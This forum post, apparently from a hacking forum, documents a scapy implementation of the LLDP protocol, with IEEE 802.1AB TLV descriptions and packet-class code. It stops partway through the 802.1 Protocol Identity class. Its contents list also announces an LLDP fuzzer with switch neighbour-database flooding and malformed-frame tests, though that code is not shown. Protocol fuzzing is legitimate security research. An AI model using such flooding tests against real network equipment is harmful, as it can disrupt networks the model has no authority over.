Hi,
EDIT: As it was requested lately I added a download link to both files and I locked the topic. I did that a long time ago and I never used the code again. I hope it still works. If you want to use it and it does not work feel free to pm me and I will see what I can do.
Download herefirst of all I am not sure if this is the right section for it. If it does not fit here feel free to move it
lately I decided to play around with the LLDP (Link Layer Discovery Protocol) Protocol. This is basically my own documentation I made during my testing. There is not much explanation in this post but I hope you will enjoy reading it.
If you don't know what LLDP is and what it is used for you can have a look at the following link. You can also find some sample capture files on this site.
http://wiki.wireshark.org/LinkLayerDiscoveryProtocolContents1 Create LLDP Layer in scapy
1.1 Define TLVs
1.2 Define TLVs
1.3 Define Type 1 -> Chassis ID
1.4 Define Type 2 -> Port ID
1.5 Define Type 3 -> TTL
1.6 Define Type 4 -> Port Description
1.7 Define Type 5 -> System Name
1.8 Define Type 6 -> System Description
1.9 Define Type 7 -> System Capabilities
1.10 Define Type 8 -> Management Address
1.11 Define Type 127 -> Organization Specific
1.12 Define 802.3 Subtypes
1.13 Define 802.1 Subtypes
1.14 Define 802.3 Subtype 1 -> MAC/PHY Configuration/Status
1.15 Define 802.3 Subtype 2 -> Power Via MDI
1.16 Define 802.3 Subtype 3 -> Link Aggregation
1.17 Define 802.3 Subtype 4 -> Maximum Frame Size
1.18 Define 802.1 Subtype 1 -> Port VLAN ID
1.19 Define 802.1 Subtype 2 -> Port and Protocol VLAN ID
1.20 Define 802.1 Subtype 3 -> VLAN Name
1.21 Define 802.1 Subtype 4 -> Protocol Identity
1.22 Define 802.1 Subtype 5 -> VID Usage Digest
1.23 Define 802.1 Subtype 6 -> Management VID
1.24 Define 802.1 Subtype 7 -> Link Aggregation
1.25 The complete Script
2 Python/scapy LLDP Fuzzer
2.1 Test LLDP Neighbor Database flooding against HP
2.2 Chassis ID Payload Overload
2.3 Port Description Payload Overload
2.4 System Description Payload Overload
2.5 Chassis ID TLV with no payload
2.6 Wrong TLV information string length in Chassis ID
2.7 off-by-one error
2.8 LLDP Neighbor Database flooding the second
2.9 End of LLDPDU with two-byte payload
2.10 End of LLDPDU with two-byte payload and correct length
2.11 illegal System Capabilities TLV information string
2.12 missing mandatory TLV
2.13 wrong IP value in Chassis ID TLV
1 Create LLDP Layer in scapyAll information is taken from the official IEEE Paper about LLDP. You can download it here:
Evilzone Download:
http://upload.evilzone.org/download.php?id=31748&type=zipOriginal Download:
http://standards.ieee.org/getieee802/download/802.1AB-2009.pdfI only provide the pictures for the specific message frame, the available subtypes (as far as they exist) and a short description (all taken from the IEEE document). For more information you can always consult the above provided pdf.
For the scapy implementation you can look things up here:
http://www.secdev.org/projects/scapy/doc/build_dissect.htmlSomebody else wrote a LLDP implementation for scapy, too. If you like his work more feel free to use it
https://hg.secdev.org/scapy-com/diff/427ec2c30320/scapy/layers/lldp.py1.1 Define TLVs 802.1AB-2009.pdf - Page 25
_LLDP_tlv_cls = {0x00: "LLDPDUEnd",
0x01: "LLDPChassisId",
0x02: "LLDPPortId",
0x03: "LLDPTTL",
0x04: "LLDPPortDescription",
0x05: "LLDPSystemName",
0x06: "LLDPSystemDescription",
0x07: "LLDPSystemCapabilities",
0x08: "LLDPManagementAddress",
0xfe: "LLDPOrganizationalSpecific"}
_LLDP_tlv_types = {0x00: "End of LLDPDU",
0x01: "Chassis Id",
0x02: "Port Id",
0x03: "Time to Live",
0x04: "Port Description",
0x05: "System Name",
0x06: "System Description",
0x07: "System Capabilities",
0x08: "Management Address",
0xfe: "Organization Specific"}
1.2 Define TLVsDefine Type 0 -> End of LLDPDU802.1AB-2009.pdf - Page 26
The End Of LLDPDU TLV is a 2-octet, all-zero TLV that is used to mark the end of the TLV sequence in LLDPDUs. The format for this TLV is shown in Figure 8-3
class LLDPEndOfPdu(LLDPGeneric):
name = "LLDP End of LLDPDU"
fields_desc=[BitEnumField("type", 0x00, 7, _LLDP_tlv_types),
BitField("length", 0x00, 9)]
1.3 Define Type 1 -> Chassis ID802.1AB-2009.pdf - Page 26
802.1AB-2009.pdf - Page 27
The Chassis ID TLV is a mandatory TLV that identifies the chassis containing the IEEE 802 LAN station associated with the transmitting LLDP agent. There are several ways in which a chassis may be identified and a chassis ID subtype is used to indicate the type of component being referenced by the chassis ID field. Each LLDPDU shall contain one, and only one, Chassis ID TLV and the chassis ID field value
_LLDPSubtypesChassisID = {0x00: "Reserved",
0x01: "Chassis Component",
0x02: "Interface Alias",
0x03: "Port Component",
0x04: "MAC Address",
0x05: "Network Address",
0x06: "Interface Name",
0x07: "Locally Assigned"}
_LLDPSubtypesipfamily = {0x01: "IPv4",
0x02: "IPv6"}
class LLDPChassisID(LLDPGeneric):
name = "LLDP Chassis ID"
fields_desc=[BitEnumField("type", 0x01, 7, _LLDP_tlv_types),
BitField("length", None, 9),
ByteEnumField("subtype", 0x04, _LLDPSubtypesChassisID),
ConditionalField(StrLenField("reserved", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x00),
ConditionalField(StrLenField("chassisComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x01),
ConditionalField(StrLenField("intAlias", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x02),
ConditionalField(StrLenField("portComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x03),
ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 0x04),
ConditionalField(ByteEnumField("ipaddrfam", 0x01, _LLDPSubtypesipfamily),lambda pkt: pkt.subtype == 0x05),
ConditionalField(IP6Field("ipaddr", "2001:0db8:0000:08d3:0000:8a2e:0070:7344"), lambda pkt: pkt.ipaddrfam == 0x02),
ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.ipaddrfam == 0x01),
ConditionalField(StrLenField("intName", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x06),
ConditionalField(StrLenField("localAssigned", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x07)]
1.4 Define Type 2 -> Port ID802.1AB-2009.pdf - Page 28
802.1AB-2009.pdf - Page 28
The Port ID TLV is a mandatory TLV that identifies the port component of the MSAP identifier associated with the transmitting LLDP agent. As with the chassis, there are several ways in which a port may be identified. A port ID subtype is used to indicate how the port is being referenced in the port ID field. Each LLDPDU shall contain one, and only one, Port ID TLV. The port ID value shall remain constant for all LLDPDUs while the transmitting port remains operational.
_LLDPSubtypesPortID = {0x00: "Reserved",
0x01: "Interface Alias",
0x02: "Port Component",
0x03: "MAC Address",
0x04: "Network Address",
0x05: "Interface Name",
0x06: "Agent Circut ID",
0x07: "Locally Assigned"}
class LLDPPortID(LLDPGeneric):
name = "LLDP Port ID"
fields_desc=[BitEnumField("type", 0x02, 7, _LLDP_tlv_types),
BitField("length", None, 9),
ByteEnumField("subtype", 0x04, _LLDPSubtypesPortID),
ConditionalField(StrLenField("reserved", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x00),
ConditionalField(StrLenField("intAlias", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x01),
ConditionalField(StrLenField("portComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x02),
ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 0x03),
ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.subtype == 0x04),
ConditionalField(StrLenField("intName", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x05),
ConditionalField(StrLenField("agentCircutID", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x06),
ConditionalField(StrLenField("localAssigned", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x07)]
1.5 Define Type 3 -> TTL802.1AB-2009.pdf - Page 29
The Time To Live TLV indicates the number of seconds that the recipient LLDP agent is to regard the
information associated with this MSAP identifier to be valid.
a) When the TTL field is non-zero the receiving LLDP agent is notified to completely replace all information associated with this MSAP identifier with the information in the received LLDPDU.
b) When the TTL field is set to zero, the receiving LLDP agent is notified to delete all system information associated with the LLDP agent/port. This TLV may be used, for example, to signal that the sending port has initiated a port shutdown procedure.
class LLDPTTL(LLDPGeneric):
name = "LLDP TTL"
fields_desc=[BitEnumField("type", 0x03, 7, _LLDP_tlv_types),
BitField("length", None, 9),
ShortField("sec", 120)]
1.6 Define Type 4 -> Port Description802.1AB-2009.pdf - Page 29
The Port Description TLV allows network management to advertise the IEEE 802 LAN station’s port description.
class LLDPPortDescription(LLDPGeneric):
name = "LLDP Port Description"
fields_desc=[BitEnumField("type", 0x04, 7, _LLDP_tlv_types),
BitField("length", None, 9),
StrLenField("portDescription", "FastEthernet0/1", length_from=lambda x: x.length - 1)]
1.7 Define Type 5 -> System Name802.1AB-2009.pdf - Page 30
The System Name TLV allows network management to advertise the system’s assigned name
class LLDPSystemName(LLDPGeneric):
name = "LLDP System Name"
fields_desc=[BitEnumField("type", 0x05, 7, _LLDP_tlv_types),
BitField("length", None, 9),
StrLenField("systemName", "Switch", length_from=lambda x: x.length - 1)]
1.8 Define Type 6 -> System Description802.1AB-2009.pdf - Page 31
The System Description TLV allows network management to advertise the system’s description
class LLDPSystemDescription(LLDPGeneric):
name = "LLDP System Description"
fields_desc=[BitEnumField("type", 0x06, 7, _LLDP_tlv_types),
BitField("length", None, 9),
StrLenField("systemDescription", "Firmware Version 7.1", length_from=lambda x: x.length - 1)]
1.9 Define Type 7 -> System Capabilities802.1AB-2009.pdf - Page 31
802.1AB-2009.pdf - Page 32
The System Capabilities TLV is an optional TLV that identifies the primary function(s) of the system and whether or not these primary functions are enabled.
_LLDPCapabilities = {1: "other",
2: "repeater",
4: "bridge",
8: "wlanap",
16: "router",
32: "telephone",
64: "docsiscable",
128: "stationonly",
256: "cvlanbridge",
512: "svlanbridge",
1024: "tpmr"}
class LLDPSystemCapabilities(LLDPGeneric):
name = "LLDP System Capabilities"
fields_desc=[BitEnumField("type", 0x07, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("capabilities", 4, 16, _LLDPCapabilities),
BitEnumField("enabledCapabilities", 4, 16, _LLDPCapabilities)]
1.10 Define Type 8 -> Management Address802.1AB-2009.pdf - Page 33
Management Address Subtype:
The management address subtype field shall contain an integer value indicating the type of address that is listed in the management address field. Enumeration for this field is contained in the ianaAddressFamilyNumbers module of the IETF RFC 3232 on-line database that is accessible through a web page (currently, http://www.iana.org). The management address subtype is contained in the first octet of the management address string.
Subtypes from:
http://www.iana.org/assignments/ianaaddressfamilynumbers-mib/ianaaddressfamilynumbers-mibThe enumerations are described as:
other(0), -- none of the following
ipV4(1), -- IP Version 4
ipV6(2), -- IP Version 6
nsap(3), -- NSAP
hdlc(4), -- (8-bit multidrop)
bbn1822(5),
all802(6), -- (includes all 802 media
-- plus Ethernet 'canonical format')
e163(7),
e164(8), -- (SMDS, Frame Relay, ATM)
f69(9), -- (Telex)
x121(10), -- (X.25, Frame Relay)
ipx(11), -- IPX (Internet Protocol Exchange)
appleTalk(12), -- Apple Talk
decnetIV(13), -- DEC Net Phase IV
banyanVines(14), -- Banyan Vines
e164withNsap(15),
-- (E.164 with NSAP format subaddress)
dns(16), -- (Domain Name System)
distinguishedName(17), -- (Distinguished Name, per X.500)
asNumber(18), -- (16-bit quantity, per the AS number space)
xtpOverIpv4(19), -- XTP over IP version 4
xtpOverIpv6(20), -- XTP over IP version 6
xtpNativeModeXTP(21), -- XTP native mode XTP
fibreChannelWWPN(22), -- Fibre Channel World-Wide Port Name
fibreChannelWWNN(23), -- Fibre Channel World-Wide Node Name
gwid(24), -- Gateway Identifier
afi(25), -- AFI for L2VPN information
reserved(65535)
Most of them are not common and I haven't implemented them.
Interface Numbering Subtype:
The interface numbering subtype field shall contain an integer value indicating the numbering method used
for defining the interface number. The following three values are currently defined:
1) Unknown
2) ifIndex
3) system port number
TLV Description:
The Management Address TLV identifies an address associated with the local LLDP agent that may be used to reach higher layer entities to assist discovery by network management. The TLV also provides room for the inclusion of both the system interface number and an object identifier (OID) that are associated with this management address, if either or both are known.
_LLDPSubtypesManagementAddress = {0x01: "IPv4",
0x02: "IPv6",
0x06: "802",
0x10: "DNS Name"}
_LLDPIfSubtypesManagementAddress = {0x01: "Unknown",
0x02: "IfIndex",
0x03: "System Port Number"}
class LLDPMgmtAddress(LLDPGeneric):
name = "LLDP System Capabilities"
fields_desc=[BitEnumField("type", 0x08, 7, _LLDP_tlv_types),
BitField("length", None, 9),
ByteField("addrLen", None),
ByteEnumField("addrSubtype", 0x01, _LLDPSubtypesManagementAddress),
ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt: pkt.addrSubtype == 0x01),
ConditionalField(IP6Field("ip6addr", "2001:db8::1"), lambda pkt: pkt.addrSubtype == 0x02),
ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.addrSubtype == 0x06),
ConditionalField(StrLenField("dnsName", "SwitchInt0/1", length_from=lambda x: x.addrLen - 1), lambda pkt: pkt.addrSubtype == 0x10),
ConditionalField(StrLenField("addrval", "", length_from=lambda x: x.addrLen - 1), lambda pkt: pkt.addrSubtype not in [0x01, 0x02, 0x06, 0x10]),
ByteEnumField("ifSubtype", 0x02, _LLDPIfSubtypesManagementAddress),
IntField("ifnumber", 0),
FieldLenField("oidLen", None, length_of="oid", fmt="B"),
StrLenField("oid", "", length_from=lambda x: x.oidLen)]
1.11 Define Type 127 -> Organization Specific802.1AB-2009.pdf - Page 35
LLDP provides the possibility to send additional organization specific values which are separated into two different subtypes.
_LLDPOrgSpecific = {0x00120f: "IEEE 802.3 Subtypes",
0x0080c2: "IEEE 802.1 Subtypes"}
1.12 Define 802.3 Subtypes802.1AB-2009.pdf - Page 165
_LLDPOrgSpecificDot3 = {0x01: "MAC/PHY Configuration/Status",
0x02: "Power Via MDI",
0x03: "Link Aggregation",
0x04: "Maximum Frame Size"}
1.13 Define 802.1 Subtypes802.1AB-2009.pdf - Page 127
_LLDPOrgSpecificDot1 = {0x01: "Port VLAN ID",
0x02: "Port and Protocol VLAN ID",
0x03: "VLAN Name",
0x04: "Protocol Identity",
0x05: "VID Usage Digest",
0x06: "Management VID",
0x07: "Link Aggregation"}
802.1 Subtypes 0x05 - 0x07 are defined as you can see in the IEEE document but they are not used and wireshark show them as unknown TLV. This is the reason why I don't use them in the following fuzzer. But to have a complete implementation I added them to scapy.
1.14 Define 802.3 Subtype 1 -> MAC/PHY Configuration/Status802.1AB-2009.pdf - Page 166
802.1AB-2009.pdf - Page 166
The operational MAU type field contains an integer value indicating the MAU type of the sending device. This value is derived from the list position of the corresponding dot3MauType as listed in IETF RFC 4836 (or subsequent revisions) and is equal to the last number in the respective dot3MauType OID. For example, if the ifMauType object is dot3MauType1000BaseTHD which corresponds to ‘dot3MauType 29’, the numerical value of this field is 29. For MAU types not listed in IETF RFC 4836 (or subsequent revisions), the value of this field shall be set to zero. For more information, see IEEE Std 802.3.
Operational MAU type options from:
http://www.iana.org/assignments/ianamau-mib/ianamau-mibSYNTAX BITS {
bOther(0), -- other or unknown
bAUI(1), -- AUI
b10base5(2), -- 10BASE-5
bFoirl(3), -- FOIRL
b10base2(4), -- 10BASE-2
b10baseT(5), -- 10BASE-T duplex mode unknown
b10baseFP(6), -- 10BASE-FP
b10baseFB(7), -- 10BASE-FB
b10baseFL(8), -- 10BASE-FL duplex mode unknown
b10broad36(9), -- 10BROAD36
b10baseTHD(10), -- 10BASE-T half duplex mode
b10baseTFD(11), -- 10BASE-T full duplex mode
b10baseFLHD(12), -- 10BASE-FL half duplex mode
b10baseFLFD(13), -- 10BASE-FL full duplex mode
b100baseT4(14), -- 100BASE-T4
b100baseTXHD(15), -- 100BASE-TX half duplex mode
b100baseTXFD(16), -- 100BASE-TX full duplex mode
b100baseFXHD(17), -- 100BASE-FX half duplex mode
b100baseFXFD(18), -- 100BASE-FX full duplex mode
b100baseT2HD(19), -- 100BASE-T2 half duplex mode
b100baseT2FD(20), -- 100BASE-T2 full duplex mode
b1000baseXHD(21), -- 1000BASE-X half duplex mode
b1000baseXFD(22), -- 1000BASE-X full duplex mode
b1000baseLXHD(23), -- 1000BASE-LX half duplex mode
b1000baseLXFD(24), -- 1000BASE-LX full duplex mode
b1000baseSXHD(25), -- 1000BASE-SX half duplex mode
b1000baseSXFD(26), -- 1000BASE-SX full duplex mode
b1000baseCXHD(27), -- 1000BASE-CX half duplex mode
b1000baseCXFD(28), -- 1000BASE-CX full duplex mode
b1000baseTHD(29), -- 1000BASE-T half duplex mode
b1000baseTFD(30), -- 1000BASE-T full duplex mode
b10GbaseX(31), -- 10GBASE-X
b10GbaseLX4(32), -- 10GBASE-LX4
b10GbaseR(33), -- 10GBASE-R
b10GbaseER(34), -- 10GBASE-ER
b10GbaseLR(35), -- 10GBASE-LR
b10GbaseSR(36), -- 10GBASE-SR
b10GbaseW(37), -- 10GBASE-W
b10GbaseEW(38), -- 10GBASE-EW
b10GbaseLW(39), -- 10GBASE-LW
b10GbaseSW(40), -- 10GBASE-SW
-- new since RFC 3636
b10GbaseCX4(41), -- 10GBASE-CX4
b2BaseTL(42), -- 2BASE-TL
b10PassTS(43), -- 10PASS-TS
b100BaseBX10D(44), -- 100BASE-BX10D
b100BaseBX10U(45), -- 100BASE-BX10U
b100BaseLX10(46), -- 100BASE-LX10
b1000BaseBX10D(47), -- 1000BASE-BX10D
b1000BaseBX10U(48), -- 1000BASE-BX10U
b1000BaseLX10(49), -- 1000BASE-LX10
b1000BasePX10D(50), -- 1000BASE-PX10D
b1000BasePX10U(51), -- 1000BASE-PX10U
b1000BasePX20D(52), -- 1000BASE-PX20D
b1000BasePX20U(53), -- 1000BASE-PX20U
b10GbaseT(54), -- 10GBASE-T
b10GbaseLRM(55), -- 10GBASE-LRM
b1000baseKX(56), -- 1000BASE-KX
b10GbaseKX4(57), -- 10GBASE-KX4
b10GbaseKR(58), -- 10GBASE-KR
b10G1GbasePRXD1(59),-- 10/1GBASE-PRX-D1
b10G1GbasePRXD2(60),-- 10/1GBASE-PRX-D2
b10G1GbasePRXD3(61),-- 10/1GBASE-PRX-D3
b10G1GbasePRXU1(62),-- 10/1GBASE-PRX-U1
b10G1GbasePRXU2(63),-- 10/1GBASE-PRX-U2
b10G1GbasePRXU3(64),-- 10/1GBASE-PRX-U3
b10GbasePRD1(65), -- 10GBASE-PR-D1
b10GbasePRD2(66), -- 10GBASE-PR-D2
b10GbasePRD3(67), -- 10GBASE-PR-D3
b10GbasePRU1(68), -- 10GBASE-PR-U1
b10GbasePRU3(69), -- 10GBASE-PR-U3
b40GbaseKR4(70), -- 40GBASE-KR4
b40GbaseCR4(71), -- 40GBASE-CR4
b40GbaseSR4(72), -- 40GBASE-SR4
b40GbaseFR(73), -- 40GBASE-FR
b40GbaseLR4(74), -- 40GBASE-LR4
b100GbaseCR10(75), -- 100GBASE-CR10
b100GbaseSR10(76), -- 100GBASE-SR10
b100GbaseLR4(77), -- 100GBASE-LR4
b100GbaseER4(78) -- 100GBASE-ER4
}
_LLDPAutoNegSupStat = {0x01: "Supported",
0x02: "Enabled",
0x03: "Supported and Enabled"}
_LLDPPmdCapabilities = {1: "1000BASE-T (full duplex mode)",
1024: "100BASE-TX (full duplex mode)",
2048: "100BASE-TX (half duplex mode)",
8192: "10BASE-T (full duplex mode)",
16384: "10BASE-T (half duplex mode)",
27649: "all",
27648: "all except 1000BASE-T (full duplex mode)"}
_LLDPOpMAUType = {0x00: "other or unknown",
0x01: "AUI",
0x02: "10BASE-5",
0x03: "FOIRL",
0x04: "10BASE-2",
0x05: "10BASE-T duplex mode unknown",
0x06: "10BASE-FP",
0x07: "10BASE-FB",
0x08: "10BASE-FL duplex mode unknown",
0x09: "10BROAD36",
0x0a: "10BASE-T half duplex mode",
0x0b: "10BASE-T full duplex mode",
0x0c: "10BASE-FL half duplex mode",
0x0d: "10BASE-FL full duplex mode",
0x0e: "100BASE-T4",
0x0f: "100BASE-TX half duplex mode",
0x10: "100BASE-TX full duplex mode",
0x11: "100BASE-FX half duplex mode",
0x12: "100BASE-FX full duplex mode",
0x13: "100BASE-T2 half duplex mode",
0x14: "100BASE-T2 full duplex mode",
0x15: "1000BASE-X half duplex mode",
0x16: "1000BASE-X full duplex mode",
0x17: "1000BASE-LX half duplex mode",
0x18: "1000BASE-LX full duplex mode",
0x19: "1000BASE-SX half duplex mode",
0x1a: "1000BASE-SX full duplex mode",
0x1b: "1000BASE-CX half duplex mode",
0x1c: "1000BASE-CX full duplex mode",
0x1d: "1000BASE-T half duplex mode",
0x1e: "1000BASE-T full duplex mode",
0x1f: "10GBASE-X",
0x20: "10GBASE-LX4",
0x21: "10GBASE-R",
0x22: "10GBASE-ER",
0x23: "10GBASE-LR",
0x24: "10GBASE-SR",
0x25: "10GBASE-W",
0x26: "10GBASE-EW",
0x27: "10GBASE-LW",
0x28: "10GBASE-SW",
0x29: "10GBASE-CX4",
0x2a: "2BASE-TL",
0x2b: "10PASS-TS",
0x2c: "100BASE-BX10D",
0x2d: "100BASE-BX10U",
0x2e: "100BASE-LX10",
0x2f: "1000BASE-BX10D",
0x30: "1000BASE-BX10U",
0x31: "1000BASE-LX10",
0x32: "1000BASE-PX10D",
0x33: "1000BASE-PX10U",
0x34: "1000BASE-PX20D",
0x35: "1000BASE-PX20U",
0x36: "10GBASE-T",
0x37: "10GBASE-LRM",
0x38: "1000BASE-KX",
0x39: "10GBASE-KX4",
0x3a: "10GBASE-KR",
0x3b: "10/1GBASE-PRX-D1",
0x3c: "10/1GBASE-PRX-D2",
0x3d: "10/1GBASE-PRX-D3",
0x3e: "10/1GBASE-PRX-U1",
0x3f: "10/1GBASE-PRX-U2",
0x40: "10/1GBASE-PRX-U3",
0x41: "10GBASE-PR-D1",
0x42: "10GBASE-PR-D2",
0x43: "10GBASE-PR-D3",
0x44: "10GBASE-PR-U1",
0x45: "10GBASE-PR-U3",
0x46: "40GBASE-KR4",
0x47: "40GBASE-CR4",
0x48: "40GBASE-SR4",
0x49: "40GBASE-FR",
0x4a: "40GBASE-LR4",
0x4b: "100GBASE-CR10",
0x4c: "100GBASE-SR10",
0x4d: "100GBASE-LR4",
0x4e: "100GBASE-ER4"}
class LLDPDot3MacPhyStatus(LLDPGeneric):
name = "LLDP IEEE 802.3 MAC/PHY Configuration/Status"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x01, _LLDPOrgSpecificDot3),
ByteEnumField("AutoNegStatus", 0x03, _LLDPAutoNegSupStat),
BitEnumField("PMDcapabilities", 1, 16, _LLDPPmdCapabilities),
BitEnumField("OperationalMAUType", 0x1e, 16, _LLDPOpMAUType)]
1.15 Define 802.3 Subtype 2 -> Power Via MDI802.1AB-2009.pdf - Page 167
802.1AB-2009.pdf - Page 167
PSE Power Pair
The PSE power pair field shall contain an integer value as defined by the pethPsePortPowerPairs object in IETF RFC 3621.
Power Pairs from:
http://www.ieee802.org/3/1/public/mib_modules/20120910/802dot3dot1C8mib.txtpethPsePortPowerPairs OBJECT-TYPE
SYNTAX INTEGER {
signal(1),
spare(2)
}
Power Class
The power class field shall contain an integer value as defined by the pethPsePortPowerClassifications
object in IETF RFC 3621.
Power Class from:
http://www.ieee802.org/3/1/public/mib_modules/20120910/802dot3dot1C8mib.txtpethPsePortPowerClassifications OBJECT-TYPE
SYNTAX INTEGER {
class0(1),
class1(2),
class2(3),
class3(4),
class4(5)
}
Three IEEE 802.3 PMD implementations (10BASE-T, 100BASE-TX, and 1000BASE-T) allow power to be supplied over the link for connected non-powered systems. The Power Via MDI TLV allows network management to advertise and discover the MDI power support capabilities of the sending IEEE 802.3 LAN station.
_LLDPMDIPowerSupport = {0x01: "Port Class: PSE",
0x02: "PSE MDI Power: Supported",
0x03: "Port Class: PSE + PSE MDI Power: Supported",
0x04: "PSE MDI Power Enabled: Yes",
0x05: "Port Class: PSE + PSE MDI Power Enabled: Yes",
0x06: "PSE MDI Power: Supported + PSE MDI Power Enabled: Yes",
0x07: "Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes",
0x08: "PSE Pairs Control Ability: Yes",
0x09: "Port Class: PSE + PSE Pairs Control Ability: Yes",
0x0a: "PSE Pairs Control Ability: Yes + PSE MDI Power: Supported",
0x0b: "Port Class: PSE + PSE MDI Power: Supported + PSE Pairs Control Ability: Yes",
0x0c: "PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
0x0d: "Port Class: PSE + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
0x0e: "PSE MDI Power: Supported + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
0x0f: "Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes"}
_LLDPPSEPowerPair = {0x01: "the signal pairs only are in use",
0x02: "the spare pairs only are in use"}
_LLDPPowerClass = {0x00: "No Power",
0x01: "class 0",
0x02: "class 1",
0x03: "class 2",
0x04: "class 3",
0x05: "class 4"}
class LLDPDot3PowerViaMDI(LLDPGeneric):
name = "LLDP IEEE 802.3 Power Via MDI"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x02, _LLDPOrgSpecificDot3),
ByteEnumField("MDIPowerSupport", 0x07, _LLDPMDIPowerSupport),
ByteEnumField("PSEPowerPair", 0x01, _LLDPPSEPowerPair),
ByteEnumField("PowerClass", 0x00, _LLDPPowerClass)]
1.16 Define 802.3 Subtype 3 -> Link Aggregation802.1AB-2009.pdf - Page 132
802.1AB-2009.pdf - Page 132
The Link Aggregation TLV indicates whether the link is capable of being aggregated, whether the link is currently in an aggregation, as specified in IEEE Std 802.1AX, and if in an aggregation, the port identification of the aggregation.
_LLDPAggregationStatus = {0x01: "Aggregation Capability: Yes",
0x02: "Aggregation Status: Enabled",
0x03: "Capable: Yes and Enabled: Yes"}
class LLDPDot3LinkAggregation(LLDPGeneric):
name = "LLDP IEEE 802.3 Link Aggregation"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x03, _LLDPOrgSpecificDot3),
ByteEnumField("AggregationStatus", 0x01, _LLDPAggregationStatus),
BitField("AggregatedPortID", 0, 32)]
1.17 Define 802.3 Subtype 4 -> Maximum Frame Size802.1AB-2009.pdf - Page 168
The Maximum Frame Size TLV indicates the maximum frame size capability of the implemented MAC and PHY.
class LLDPDot3MaxFrameSize(LLDPGeneric):
name = "LLDP IEEE 802.3 Maximum Frame Size"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x04, _LLDPOrgSpecificDot3),
BitField("MaxFrameSize", 1522, 16)]
1.18 Define 802.1 Subtype 1 -> Port VLAN ID802.1AB-2009.pdf - Page 127
The Port VLAN ID TLV is an optional fixed length TLV that allows a VLAN bridge port to advertise the port’s VLAN identifier (PVID) that is associated with untagged or priority tagged frames (see IEEE 802.1Q- 2005, 8.4.4).
class LLDPDot1PortVlanID(LLDPGeneric):
name = "LLDP IEEE 802.1 Port VLAN ID"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x01, _LLDPOrgSpecificDot1),
BitField("VlanIdentNr", 488, 16)]
1.19 Define 802.1 Subtype 2 -> Port and Protocol VLAN ID802.1AB-2009.pdf - Page 128
802.1AB-2009.pdf - Page 129
The Port And Protocol VLAN ID TLV is an optional TLV that allows a bridge port to advertise a port and protocol VLAN ID.
_LLDPFlags = {0x01: "Not Supported + Not Enabled",
0x02: "Supported + Not Enabled",
0x06: "Supported + Enabled"}
class LLDPDot1PortProtVlanID(LLDPGeneric):
name = "LLDP IEEE 802.1 Port and Protocol VLAN ID"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x02, _LLDPOrgSpecificDot1),
ByteEnumField("flags", 0x01, _LLDPFlags),
BitField("VlanIdentNr", 488, 16)]
1.20 Define 802.1 Subtype 3 -> VLAN Name802.1AB-2009.pdf - Page 129
The VLAN Name TLV is an optional TLV that allows an IEEE 802.1Q-compatible IEEE 802 LAN station to advertise the assigned name of any VLAN with which it is configured.
class LLDPDot1VlanName(LLDPGeneric):
name = "LLDP IEEE 802.1 VLAN Name"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x03, _LLDPOrgSpecificDot1),
BitField("VID", 488, 16),
BitField("VlanNameLength", None, 8),
StrLenField("VlanName", "", length_from=lambda x: x.VlanNameLength - 1)]
1.21 Define 802.1 Subtype 4 -> Protocol Identity802.1AB-2009.pdf - Page 130
The Protocol Identity TLV is an optional TLV that allows an IEEE 802 LAN station to advertise particular protocols that are accessible through the port.
class LLDPDot1ProtoIdent(LLDPGeneric):
name = "LLDP IEEE 802.1 Protocol Identity"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
